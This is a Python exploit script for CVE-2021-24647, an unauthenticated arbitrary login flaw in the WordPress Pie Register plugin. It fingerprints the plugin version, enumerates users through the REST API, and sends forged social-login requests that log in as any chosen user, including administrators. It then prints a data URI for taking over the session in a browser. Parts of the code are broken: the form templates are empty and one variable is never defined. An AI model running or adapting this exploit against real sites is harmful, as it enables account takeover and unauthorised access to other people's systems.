#!/usr/bin/env python3 import os import click import argparse import requests import json import base64 from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.exceptions import RequestException requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() ### Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login ### ### CVE-2021-24647 ### ### Fixed in version 3.7.1.6 ### ### script by randomrobbiebf def version_check(wordpress_url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} plugin_url = ""+wordpress_url+"/wp-content/plugins/pie-register/readme.txt" response = requests.get(plugin_url, headers=headers,verify=False,timeout=30) if response.status_code == 200: content = response.text version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None) if version_line: version = version_line.split(':')[1].strip() if version >= '3.7.1.6': print("The plugin version is 3.7.1.6 or above.") exit() else: print("The plugin version is below 3.7.1.6.") print("The plugin version is "+version+"") return version else: print("Failed to find the version information in the readme.txt file.") exit() else: print("Plugin not installed") exit() # Method 2: Using WordPress REST API def get_usernames_rest_api(wordpress_url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} api_url = wordpress_url + '/wp-json/wp/v2/users' response = session.get(api_url, headers=headers, verify=False) if response.status_code == 200: users = response.json() usernames = [user['name'] for user in users] user_ids = [user['id'] for user in users] deduplicated_usernames = list(set(usernames)) return user_ids, deduplicated_usernames else: print(f"Failed to fetch usernames using REST API. Error: {response.text}") return [], [] # Method 4: Using the Wordpress Rest API def scrape_users_via_rest_api(wordpress_url): try: headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'} api_url = f"{wordpress_url}/?rest_route=/wp/v2/users" response = requests.get(api_url, headers=headers, verify=False) if response.status_code == 200: users = response.json() usernames = [user['name'] for user in users] user_ids = [user['id'] for user in users] deduplicated_usernames = list(set(usernames)) return user_ids, deduplicated_usernames else: print(f"Failed to fetch usernames using REST Route API. Error: {response.text}") return [], [] except Exception as e: print("Error occurred while scraping users:", str(e)) return [], [] # Function to select user def select_user(user_ids, usernames): users = [{'id': user_id, 'name': username} for user_id, username in zip(user_ids, usernames)] click.echo("Select a user:") for user in users: click.echo(f"{user['id']}. {user['name']}") user_id = click.prompt("Enter the user ID", type=int) selected_user = next((user for user in users if user['id'] == user_id), None) if selected_user: return selected_user else: click.echo("Invalid user ID.") return None def sendem(selected_user,wordpress_url,wordpress_path,version): # Create a session session = requests.Session() user_id = selected_user['id'] username = selected_user['name'] # Set the request headers headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-GB,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36' # Replace with a real user agent } # Set the POST data based on the version if version <= '3.7.1.5': data = { 'log': 'a', 'pwd': 'a', 'social_site': 'true', 'user_id_social_site': user_id, 'wp-submit': 'Log In', 'testcookie': '1' } elif version == '3.7.1.6': data = { 'log': username, 'pwd': 'a', 'social_site': 'true', 'wp-submit': 'Log In' } else: raise ValueError("Invalid version number") # Make the POST request url = ''+wordpress_url+'/'+wordpress_path+'/' # Replace with the actual URL try: response = session.post(url, headers=headers, data=data, verify=False) response.raise_for_status() except RequestException as e: print("Error occurred:", e) else: # Print the response print("") if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("Boom we were able to login as "+username+" copy and paste the following in to your browser and refresh and you will be logged in.") if version <= '3.7.1.5': form1 = """
""".format(wordpress_url,wordpress_path,user_id) form1_base64 = base64.b64encode(form1.encode()).decode() data_uri = f"data:text/html;base64,{form1_base64}" print("") print(data_uri) else: form2 = """ """.format(wordpress_url,wordpress_path,username) data_uri2 = f"data:text/html;base64,{form2_base64}" print("") print(data_uri2) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-w", "--url", required=True, help="URL of the WordPress site") parser.add_argument("-p", "--path", required=False, default="/login/",help="Path of the Login Page /login/ or /pie-registration/") args = parser.parse_args() wordpress_url = args.url wordpress_path = args.path version = version_check(wordpress_url) # Obtain user IDs and deduplicated usernames using Method 2 user_ids, deduplicated_usernames = get_usernames_rest_api(wordpress_url) # Alternatively, obtain user IDs and deduplicated usernames using Method 4 # user_ids, deduplicated_usernames = scrape_users_via_rest_api(wordpress_url) # Pass the user IDs and deduplicated usernames to the select_user function selected_user = select_user(user_ids, deduplicated_usernames) sendem(selected_user,wordpress_url,wordpress_path,version)